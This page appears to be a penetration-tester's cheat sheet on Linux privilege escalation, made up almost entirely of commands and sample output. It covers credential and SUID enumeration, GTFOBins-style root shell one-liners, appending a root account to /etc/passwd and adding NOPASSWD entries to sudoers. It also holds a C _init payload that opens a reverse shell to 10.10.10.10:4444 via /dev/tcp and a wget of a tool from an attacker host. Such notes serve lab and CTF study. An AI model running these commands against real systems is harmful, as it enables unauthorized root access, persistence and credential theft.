Escalation

Enumerate

file /bin/bash
# /bin/bash ELF 32-LSB Executable
# gcc exploit.c -o exploit --no-pie

# /bin/bash ELF 32-LSB pie Executable
# gcc exploit.c -o exploit

lsb_release -a
uname -a
cat /etc/*-release
env
cat /proc/version

# Search Config Files!
ls /var/www 
ls /var/www/html        
ls /var/tmp
ls /tmp
ls /dev/shm
ls /var/mail

# Search extend user attribute not ext4
cat /etc/fstab    
mount

# Looking for file or directory not create by root
ls /etc                
ls -lsa /etc | grep -i '.secret'
ls -lsa /etc/passwd
ls -lsa /etc/shadow
cat /etc/crontab
ls -lsa /etc/cron*
ps aux | grep -i 'root' --color=auto

# Looking for listening on 127.0.0.1
netstat -tupln | grep -i '127.0.0.1' --color=auto  

# expanding all subdirectory
ls -lsaR /home 2>/dev/null

# SUID 
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f -ls 2>/dev/null
find / -perm -g=s -type f -ls 2>/dev/null
find / -type f -user yash 2>/dev/null
find / -user root -perm /4000 2>/dev/null
find / -type f -name '*.txt' 2>/dev/null 
find / -user root -perm -4000 -exec ls -ldb {}; > /tmp/suid
getcap -r / 2>/dev/null 
find / -group users -ls 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
https://pentestlab.blog/2017/09/25/suid-executables/
https://gtfobins.github.io/gtfobins/git/

# File Capabilities (extended privilege -ep)
getcap -r / 2>/dev/null
python -c 'import os; os.setuid(0); os.system("/bin/bash")'

# grep keyword
grep -iR 'db' . --color=auto
grep -iR 'sql' . --color=auto

#Find file
find /home/pin/ -user pin -perm /a+r -type f

# Firewall Enumerate
grep -Hs iptables /etc/*

# File Permission
find / -writable -type d 2>/dev/null

# Mount Enumerate
mount
cat /etc/fstab
/bin/lsblk

# Mount Drive from Window
mount -t cifs //10.10.10.10/file-name /path-mount

# Writeable Configuration Files
[cmeeks@hetemit restjson_hetemit]$ find /etc -type f -writable 2> /dev/null
find /etc -type f -writable 2> /dev/null
/etc/systemd/system/pythonapp.service

# Password Hunting
grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2>/dev/null
locate password | more
locate passwd | more
find / -name authorized_keys 2>/dev/null
find / -name id_rsa 2>/dev/null
grep -nr “db_user”as

Bin/Bash

awk --> awk 'BEGIN {system{"/bin/bash"}}'
find --> find / -exec /usr/bin/awk 'BEGIN {system{"/bin/bash"}}' \;
perl --> perl -e 'exec "/bin/sh";'
nmap --> sudo nmap --script=/var/tmp/shell.nse
#echo "os.execute('/bin/bash')" > /var/tmp/shell.nse
docker --> docker image ls; docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Jailed SSH Shell

Jailed SSH Shell
==============================================================================
1. ssh test@10.10.10.10 "/bin/sh"
2. cd $HOME
3. mv .bashrc .bashrc.BAK 
4. exit
5. ssh test@10.10.10.10

Improve Shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
export TERM=xterm-256color
alias ll='clear; ls -lsaht --color=auto'
Ctrl + z [Backgroup Process]
stty raw -echo; fg; reset
stty columns 200 rows 200

rBash Bypass

@:~$ ls /home/1/usr/bin
ls /home/ryuu/usr/bin
Command 'ls' is available in '/bin/ls'
The command could not be located because '/bin' is not included in the PATH environment variable.
ls: command not found
@beta:~$ export PATH="/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games"
export PATH="/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games"

ssh -i id_rsa tom@$ip -t "bash --noprofile"
Type: vi
ESC -> :set shell=/bin/bash -> Enter -> :shell -> Enter

Restricted Shell

echo os.system("/bin/bash")

Auto Script

echo "cp /bin/dash /var/tmp/dash; chmod u+s /var/tmp/dash" >> backup.sh

Add sudoers

echo 'user1 ALL=NOPASSWD: ALL' >> /etc/sudoers

Generate Hash with User (/etc/passwd)

└─$ openssl passwd -1 -salt pass L@ughing1
$1$pass$8IGDfSQaDsZYGnWdXS.120
laughing:$1$pass$8IGDfSQaDsZYGnWdXS.120:0:0:root:/root:/bin/bash

echo 'test:$1$pass$8IGDfSQaDsZYGnWdXS.120:0:0:test:/root:/bin/bash' >> /etc/passwd

└─$ su laughing

Generate Hash with user (/etc/shadow)

└─$ mkpasswd -m sha-512 password123    
$6$Kmnxa1cpu4AV/7tk$JWOgFN8CAugaDPsTMpYQbCNqdAFNBACYJ18n3mfhI/IKxItlD3EncsD2P/tUq0dNcX0oIWWCNaeQYMfI2STDK/
laughing:$6$Kmnxa1cpu4AV/7tk$JWOgFN8CAugaDPsTMpYQbCNqdAFNBACYJ18n3mfhI/IKxItlD3EncsD2P/tUq0dNcX0oIWWCNaeQYMfI2STDK/:0:0:root:/root:/bin/bash

Python

/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Access to other user

sudo -i -u user1

Background the Process

Resource: https://github.com/DominicBreuker/pspy

wget 10.10.14.13/pspy32 
chmod +x pspy32
./pspy32

#!/bin/bash

#loop by line
IFS=$'\n'

old_process=$(ps -eo command)

while true; do
	new_process=$(ps -eo command)
	diff <(echo "$old_process") <(echo "$new_process")
	sleep 1
	old_process=$new_process
done

1: ssh user@10.10.10.10
2: ssh -i id_rsa user@10.10.10.10
3: rdesktop 10.10.10.10 (GUI)
4: vncviewer 10.10.10.10:5901 (GUI)
5: ssh -X user@10.10.10.10 (Some programs need GUI)

Docker

Resource: https://gtfobins.github.io/gtfobins/docker/

First let check the docker images that available:

@:~$ docker image ls
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
redmine             latest              0c8429c66e07        21 months ago       542MB
postgres            latest              adf2b126dda8        21 months ago       313MB

We can use the technique from above and replace with our current alpine name.

@:~$ docker run -v /:/mnt --rm -it redmine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

Crontab

C language Escalation

[pablo@sybaris dev]$ cat utils.c 
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
        setgid(0);
        setuid(0);
        system("bash -i >& /dev/tcp/10.10.10.10/4444 0>&1");
}

ls -lah /etc/cron*

cat /etc/crontab

grep "CRON" /var/log/cron.log

Chmod

sudo -l 
(root) NOPASSWD: /bin/chmod

ls -l /bin/bash
sudo chmod 4755 /bin/bash
ls -l /bin/bash     # (-rwsr-xr-x)
bash -p

SUID

Resource:

GTFOBins

Nmap

$ find / -user root -perm -4000 -exec ls -ldb {} \; 2> /dev/null
-rwsr-xr-x 1 root root 2838168 Dec 21  2016 /usr/bin/nmap

$ echo 'os.execute("/bin/sh")' > /tmp/x.nse
echo 'os.execute("/bin/sh")' > /tmp/x.nse
$ 
$ nmap --script /tmp/x.nse
nmap --script /tmp/x.nse

Starting Nmap 7.40 ( https://nmap.org ) at 2020-04-24 06:16 EDT
WARNING: Running Nmap setuid, as you are doing, is a major security risk.

id
uid=108(adm) gid=112(adm) euid=0(root) groups=112(adm)

wget

cat /tmp/sudoers
userA    ALL=NOPASSWD:ALL
python2 -m SimpleHTTPServer 80
wget 127.0.0.1/sudoers -O /etc/sudoers
sudo bsah

Find

postgres@debian:/var/lib/postgresql/11/main$ find / -perm -u=s -type f 2>/dev/null
<esql/11/main$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/sudo
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/find
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
postgres@debian:/var/lib/postgresql/11/main$

postgres@debian:/var/lib/postgresql/11/main$ find . -exec /bin/sh -p \; -quit
find . -exec /bin/sh -p \; -quit
# whoami
whoami
root

PreviousLinux NextDefense Evasion

Last updated 1 year ago

Enumerate

Bin/Bash

Jailed SSH Shell

Improve Shell

rBash Bypass

Restricted Shell

Auto Script

Add sudoers

Generate Hash with User (/etc/passwd)

Generate Hash with user (/etc/shadow)

Python

Access to other user

Background the Process

Linux Login

Docker

Crontab

Chmod

SUID

Nmap

wget

Find